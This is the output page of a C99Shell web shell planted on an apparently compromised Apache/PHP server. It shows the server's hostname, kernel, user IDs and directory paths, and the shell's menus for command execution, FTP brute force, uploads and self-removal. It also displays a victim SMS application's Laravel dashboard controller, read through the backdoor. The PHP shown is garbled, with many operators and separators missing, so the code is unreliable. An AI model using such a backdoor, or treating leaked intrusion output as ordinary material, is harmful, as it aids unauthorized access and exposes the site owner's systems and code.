!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picotext.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.9 GB of 117.98 GB (24.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DashboardController.php (6.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;

use 
App\Models\SenderId;
use 
App\Models\Ticket;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Date;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Response;

class 
DashboardController extends Controller
{


    public function 
index()
    {
        
$user auth()->guard('customer')->user();

        
$data['newMessageCount'] = $user->messages()->where('type''inbox')->whereDate('created_at''>='Carbon::now())->count();

        
$data['inboxCount'] = $user->messages()->where('type''inbox')->whereDate('created_at'Carbon::now())->count();
        
$data['totalInboxCount'] = $user->messages()->where('type''inbox')->count();
        
$data['sentCount'] = $user->messages()->where('type''sent')->where('status''succeed')->whereColumn('created_at''<''updated_at')->whereDate('updated_at'Carbon::now())->count();
        
$data['totalSsentCount'] = $user->messages()->where('type''sent')->where('status''succeed')->whereColumn('created_at''<''updated_at')->count();


        
$inboxes $user->messages()
            ->
select(DB::Raw('count(*) as count'),DB::Raw('DATE(created_at) day'))
            ->
whereDate('created_at''>'Carbon::now()->startOfWeek())
            ->
where('type','inbox')
            ->
groupBy('day')->get()
            ->
pluck('count','day');
        
$weekDates=[];
        foreach (
getLastNDays(7) as $day){
            
$day=Carbon::createFromTimeString(str_replace('"','',$day." 0:00:00"));
            
$weekDates[]= $day->format('m-d-Y');
        }

        
$data['weekDates']=$weekDates;
        
$chatInboxes=[];
        foreach (
getLastNDays(7) as $day){
            
$chatInboxes[]=isset($inboxes[trim($day'"')])?$inboxes[trim($day'"')]:0;
        }
        
$data['chart_inbox']=$chatInboxes;
        
$data['todayExpense']= 0;
        
$data['weeklyExpense']= 0;
        
$data['totalExpense']= 0;
        
$inboundResponse auth('customer')->user()->messages()->whereDate('created_at'now())->where('type','inbox')->count();
        
$outboundResponse auth('customer')->user()->messages()->whereColumn('created_at''<''updated_at')->whereDate('updated_at'now())->where('type','sent')->count();

        
$weeklySent $user->messages()
            ->
select(DB::raw("COUNT(*) as count"),DB::Raw('DATE(updated_at) day'))
            ->
whereDate('updated_at''>'Carbon::now()->startOfWeek())
            ->
where('type','sent')
            ->
groupBy('day')->pluck('count','day');
        
$weeklyReceived $user->messages()
            ->
select(DB::raw("COUNT(*) as count"),DB::Raw('DATE(created_at) day'))
            ->
whereDate('created_at''>'Carbon::now()->startOfWeek())
            ->
where('type','inbox')
            ->
groupBy('day')->pluck('count','day');

        
$weeklyResponseArray=[];
        foreach (
getLastNDays(7) as $day){
            
$day=trim($day,'"');
            if(isset(
$weeklySent[$day]) && isset($weeklyReceived[$day]) && $weeklyReceived[$day]>){
                
$weeklyResponseArray[]= round(($weeklyReceived[$day]/$weeklySent[$day] ) * 1002);
            }else{
                
$weeklyResponseArray[]=0;
            }
        }
        
$allInboundResponse $user->messages()->where('type','inbox')->count();
        
$allOutboundResponse $user->messages()->where('type','sent')->count();
        
$todayTotalMessages $user->messages()->where('type''sent')->whereColumn('created_at''<''updated_at')->whereDate('updated_at'now())->count();
        
$todayMessages $user->messages()->where('type''sent')->whereColumn('created_at''<''updated_at')->count();

//        Failed
        
$totalFailed $user->messages()->where('type''sent')->where('status''failed')->count();
        
$dailyFailed $user->messages()->where('type''sent')->where('status''failed')->whereColumn('created_at''<''updated_at')->whereDate('updated_at'now())->count();
        
$weeklyFailed $user->messages()->where('type''sent')->whereDate('updated_at','>'Carbon::now()->startOfWeek())->count();
// Delivered
        
$totalDelivered $user->messages()->where('status''succeed')->whereColumn('created_at''<''updated_at')->where('type''sent')->count();
        
$dailyDelivered $user->messages()->where('status''succeed')->whereColumn('created_at''<''updated_at')->whereDate('updated_at'now())->where('type''sent')->count();
        
$weeklyDelivered $user->messages()->where('status''succeed')->whereColumn('created_at''<''updated_at')->whereDate('updated_at','>'Carbon::now()->startOfWeek())->where('type''sent')->count();
        
$totalDelivered $user->messages()->where('status''succeed')->whereColumn('created_at''<''updated_at')->where('type''sent')->count();

        
$data['weeklyResponseArray']=$weeklyResponseArray;
        
$data['dailyResponseRate'] = $outboundResponse && $inboundResponse 0?formatNumber(($inboundResponse $outboundResponse) * 100):0;
        
$data['responseRate'] = $allOutboundResponse && $allInboundResponse 0?formatNumber(($allInboundResponse $allOutboundResponse) * 100):0;

        
$data['deliveryRate'] =$todayTotalMessages && $dailyDelivered formatNumber(($dailyDelivered 100) / $todayTotalMessages) : 0;
        
$data['totalDeliveryRate'] =$todayMessages && $totalDelivered formatNumber(($totalDelivered 100) / $todayMessages) : 0;


        
$availableSettings=[];

//        Local
        
$local_setting=json_decode(get_settings('local_setting'));

        
$numbers auth('customer')->user()->numbers()->count();
        
$gateways=auth('customer')->user()->gateways()->count();
        if(!
$local_setting || !isset($local_setting->timezone)){
            
$availableSettings[]=[
                
'title'=>trans("Configure Timezone"),
                
'url'=>route('customer.settings.index',['settings_type'=>'local_setting_tab'])
            ];
        }
        if(!
cache()->get('cronjob') || cache()->get('cronjob') == 'false'){
            
$availableSettings[]=[
                
'title'=>trans("Configure CronJob"),
                
'url'=>route('customer.settings.index',['settings_type'=>'cronjob'])
            ];
        }
        if(
$numbers <= 0){
            
$availableSettings[]=[
                
'title'=>trans("Configure Senders"),
                
'url'=>route('customer.numbers.create')
            ];
        }
        if(
$gateways <= 0){
            
$availableSettings[]=[
                
'title'=>trans("Configure Gateway"),
                
'url'=>route('customer.gateway.create')
            ];
        }
        if(!
cache()->get('webhook') || cache()->get('webhook') == 'false'){
            
$availableSettings[]=[
                
'title'=>trans("Configure Webhook"),
                
'url'=>route('customer.inbound.webhook')
            ];
        }


        
$data['available_setting']=$availableSettings;

        return 
view('customer.dashboard'$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--